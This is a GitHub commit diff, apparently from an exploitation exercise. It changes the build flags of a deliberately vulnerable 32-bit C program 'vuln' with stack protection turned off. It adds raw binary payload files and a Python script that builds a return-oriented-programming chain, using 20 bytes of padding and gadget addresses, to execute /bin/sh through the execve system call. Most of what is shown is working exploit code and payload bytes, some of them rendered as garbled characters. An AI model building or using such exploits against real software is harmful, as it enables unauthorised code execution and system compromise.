-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
13 changed files
with
8,210 additions
and
8,238 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
clang -o vuln vuln.c -m32 -g -fno-stack-protector -fno-pie -static | ||
clang -o vuln vuln.c -m32 -g -fno-stack-protector -static |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
AAAAAAAAAAAABBBBu� PZ� | ||
/bin2u�$PZ� | ||
//sh2u�(P� 2"� PKO(Pi�� �� �� �� �� �� �� �� �� �� �� �� �� | ||
AAAAAAAAAAAAAAAABBBB�� Pj� | ||
/binB��$Pj� | ||
//shB��(P | ||
B"� P[O(Py� | ||
�� �� �� �� �� �� �� �� �� �� �� �� |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
AAAAAAAAAAAAAAAABBBBu� PZ� | ||
/bin2u�$PZ� | ||
//sh2u�(P� 2"� PKO(Pi�� �� �� �� �� �� �� �� �� �� �� �� �� |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
from struct import pack | ||
import os | ||
data = 0x080e5020 | ||
xor_eax_eax = 0x080509f8 # xor eax, eax ; ret | ||
pop_eax = 0x080ac75a # pop eax ; ret | ||
pop_ebx = 0x08049022 # pop ebx ; ret | ||
pop_ecx = 0x08054f4b # pop ecx ; add al, 0xf6 ; ret | ||
pop_edx = 0x0808b275 # pop edx ; xor eax, eax ; pop edi ; ret | ||
inc_eax = 0x0809d09e # inc eax ; ret | ||
int_80 = 0x080499a2 # int 0x80 | ||
mov_edx_eax = 0x08080732 # mov dword ptr [edx], eax ; ret | ||
xor_edx_edx = 0x0807b169 # xor edx, edx ; mov eax, edx ; ret | ||
filler = 0x11111111 | ||
# Padding goes here | ||
p = bytes('AAAAAAAAAAAAAAAABBBB', 'ascii') | ||
|
||
p += pack('<I', pop_edx) # write address of .data into edx | ||
p += pack('<I', data) | ||
p += pack('<I', filler) | ||
p += pack('<I', pop_eax) # write /bin into eax | ||
p += bytes('/bin', 'ascii') | ||
p += pack('<I', mov_edx_eax) # mov to .data | ||
p += pack('<I', pop_edx) # address of .data + 4 into edx | ||
p += pack('<I', data + 4) | ||
p += pack('<I', filler) | ||
p += pack('<I', pop_eax) # //sh into eax | ||
p += bytes('//sh', 'ascii') | ||
p += pack('<I', mov_edx_eax) # mov to .data | ||
p += pack('<I', pop_edx) # address of .data + 8 into edx | ||
p += pack('<I', data + 8) | ||
p += pack('<I', filler) | ||
p += pack('<I', xor_eax_eax) # clear eax | ||
p += pack('<I', mov_edx_eax) # write null after /bin/sh | ||
p += pack('<I', pop_ebx) | ||
p += pack('<I', data) | ||
p += pack('<I', pop_ecx) # write arguments into ecx | ||
p += pack('<I', data + 8) | ||
p += pack('<I', xor_edx_edx) # clear edx | ||
p += pack('<I', xor_eax_eax) # set eax to 11 (execve) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', inc_eax) | ||
p += pack('<I', int_80) # call interrupt | ||
print(str(p)[2:-1]) | ||
with open('payload_debug', 'wb') as file: | ||
file.write(p) |
Oops, something went wrong.